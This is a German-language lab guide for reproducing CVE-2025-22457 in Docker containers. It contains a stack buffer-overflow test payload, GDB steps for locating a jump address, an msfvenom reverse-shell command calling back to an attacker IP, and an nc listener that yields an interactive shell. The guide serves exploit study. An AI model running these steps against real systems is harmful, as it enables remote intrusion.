
Praktisches Labor zur Reproduktion von CVE-2025-22457: richtet Docker-Angreifer-/Opfer-Container ein, findet Stack-Adressen mit GDB und liefert einen msfvenom-Reverse-Shell-Exploit.
Unter Windows kann man WSL verwenden, um es auszuführen
chmod +x setup_environment.sh
./setup_environment.sh
Da Speicheradressen und IPs in verschiedenen Umgebungen dynamisch sind, müssen sie manuell gefunden und das exploit.py-Skript aktualisiert werden.
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
Das Ziel dieses Schritts ist es, eine stabile Stack-Adresse zu finden, damit unsere Payload präzise dorthin springen kann.
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
Haltepunkt auslösen: Verwende den Attacker-Docker und führe den folgenden Befehl aus, um eine Test-Payload zu senden. Dadurch bleibt GDB am Haltepunkt stehen. Hinweis: Ersetze <VICTIM_IP> durch die in Schritt 1 angezeigte Victim-IP.
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
Adresse finden und notieren: Kehre zum Terminal-Fenster zurück, in dem GDB läuft; das Programm sollte bereits angehalten haben. Führe den folgenden Befehl aus, um den Stack zu untersuchen:
(gdb) x/200wx $esp
Suche in der Ausgabe nach einem Bereich, der aus 0x43434343 (steht für 'C') besteht. Wähle aus der Mitte dieses Bereichs eine beliebige Adresse (z. B. 0xffffd580) und kopiere sie. Das ist die stack_address.
Aktualisiere mit einem Texteditor die stack_address in exploit.py auf die gerade kopierte Adresse
Führe in der Shell des Attacker-Containers den msfvenom-Befehl aus, um den Shellcode zu generieren. Hinweis: Ersetze <ATTACKER_IP> durch die in Schritt 1 angezeigte Attacker-IP.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
Kopiere den gesamten buf = b""...-Code aus der msfvenom-Ausgabe und ersetze damit vollständig den vorhandenen buf-Teil in der Datei exploit.py.
nc -lvnp 4444
Es gibt zwei Methoden Methode 1
./vulnserver
Methode 2
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
Ergebnis überprüfen: Wechsle zurück zum Fenster, in dem der netcat-Listener läuft. Wenn alles gut geht, sieht man eine aufgebaute Verbindung und erhält eine interaktive Shell. Du kannst Befehle wie whoami, ls -la eingeben, um es zu überprüfen.
Gib in GDB quit ein und dann in der Container-Shell exit.
docker stop vic atac
docker network rm 111550082_net